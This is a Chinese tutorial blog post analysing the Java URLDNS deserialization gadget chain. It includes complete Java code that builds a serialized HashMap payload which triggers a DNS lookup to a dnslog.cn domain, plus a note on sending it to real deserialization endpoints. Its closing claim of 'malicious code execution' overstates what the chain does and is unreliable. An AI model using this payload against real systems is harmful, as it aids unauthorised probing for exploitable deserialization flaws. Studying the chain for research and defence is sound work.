URLDNS利用链EXP编写之源码分析

URLDNS利用链EXP编写之源码分析

本篇文章需要有一定的Java基础,并且需要明白Java反射相关的内容,URLDNS利用链适合于Java序列化与反序列化漏洞研究的入门案例。在这里,你可以学习到Java序列化与反序列化漏洞的本质,可以学习到EXP编写思路与实战利用思路。

概述

URLDNS链本质就是利用URL中的hashCode方法,其中使用了域名解析。借助HashMap反序列化调用readObject()方法的时候会使用hashCode方法计算hash值,因此我们可以将URL放入HashMap,从而间接的让HashMap反序列化的时候调用URL的hashCode方法。

源码分析

HashMap的readObject()分析

源码分析:

image-20230812105906398

HashMap实现了Serializable接口,是可以序列化的,并且readObject()的方法中对调用了key

URL类分析

源码分析:

URL类可以序列化

image-20230812111121729

hashCode属性默认为-1

image-20230812110049857

根据hashCode的值计算hash值

image-20230812110243188

接下来看看handler的hashCode源码:

image-20230812110816636

再去看看getHostAddress()方法:

image-20230812110937493

EXP编写思路

经过上面的源码分析之后,我们的最终目的就是去调用URL的hashCode方法,进而实现DNS查询。我们只需要让hashCode的值变为-1,最终就能进入getHostAddress()方法实现DNS查询。

为了达到DNS查询的目的,可以借助HashMap的readObject()方法,因为在这个方法里面对key的hashCode进行了计算,如果key重写了hashCode方法,那么计算逻辑就是使用key的hashCode()方法,所以我们可以将URL对象作为key传入hashMap中,但是要想最终调用hashCode()方法,就必须让URL的hashCode的值为-1,因此我们可以利用反射在运行状态中操作URL的hashCode,从而实现DNS查询的目的。

下面我们可以写一个EXP复现一下URLDNS链的利用:

EXP编写案例

环境准备

开发工具:建议IDEA

JDK:建议使用JDK8,JDK11也可以,就是在反射设置私有属性hashCode的时候会有警告,不影响属性设置,但是JDK17是不能使用的,因为JDK17他不允许反射设置私有属性

UrlDnsSer.java

构造序列化后的利用链

构造流程:准备一个可以序列化的URL --> 利用URL的 hashCode()方法 --> 构造hashCode的值(因为URL的hashCode默认为-1,这里通过反射设置为不是-1即可,这是为了避免在put的时候就已经调用了URL的hashCode,从而无法实现反序列化的方式调用) --> 将构造好的URLput进HashMap --> 利用反射将URL的hashCode设置为-1 -->序列化

public class UrlDnsSer {
    
    
    public static void main(String[] args) throws Exception {
    
    
        //构造函数中的参数可以填写DNSLog生成的,也可以使用BurpSuit的Collaborator生成
        URL url = new URL("http://0kdhkf.dnslog.cn");
        //URL中调用hashCode的时候会访问dns
        Class cls = url.getClass();
        Field hashCode = cls.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        //将URL的hashCode设置为不是-1,就不会在put的时候调用hashCode访问dns了
        hashCode.set(url,222);
        HashMap<URL, Integer> map = new HashMap<>();
        map.put(url,3);
        //将URL的hashCode设置为-1,是为了在反序列化的时候调用URL的hashCode访问dns
        hashCode.set(url,-1);
        serialize(map);
    }
    public static void serialize(Object object) throws IOException {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
}

UnUrlDnsSer.java

利用流程:反序列化hashmap --> 调用HashMap的readObject() --> 调用putVal() --> 调用key的hasCode --> 通过反射将hashCode的值变为-1 --> 调用URLStreamHandler的hashCode()方法 --> 调用getHostAddress()方法 -->DNS查询

public class UnUrlDnsSer {
    
    
    public static void main(String[] args) throws IOException, ClassNotFoundException {
    
    
        unSerialize();
    }
    public static void unSerialize() throws IOException, ClassNotFoundException {
    
    
        ObjectInput oos = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = oos.readObject();
        System.out.println(obj);
    }
}

编写好以上代码之后,我们可以执行UrlDnsSer类进行序列化我们构造好的hashmap,然后执行UnUrlDnsSer类进行反序列化hashmap,最终可以在DNSlog上看到域名解析记录。

image-20230812114910072

实战利用思路

首先需要找到具有反序列化的功能点,将我们序列化后的payload发送到功能点进行反序列化,然后就能形成URLDNS利用链,从而完成恶意代码执行。

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132273949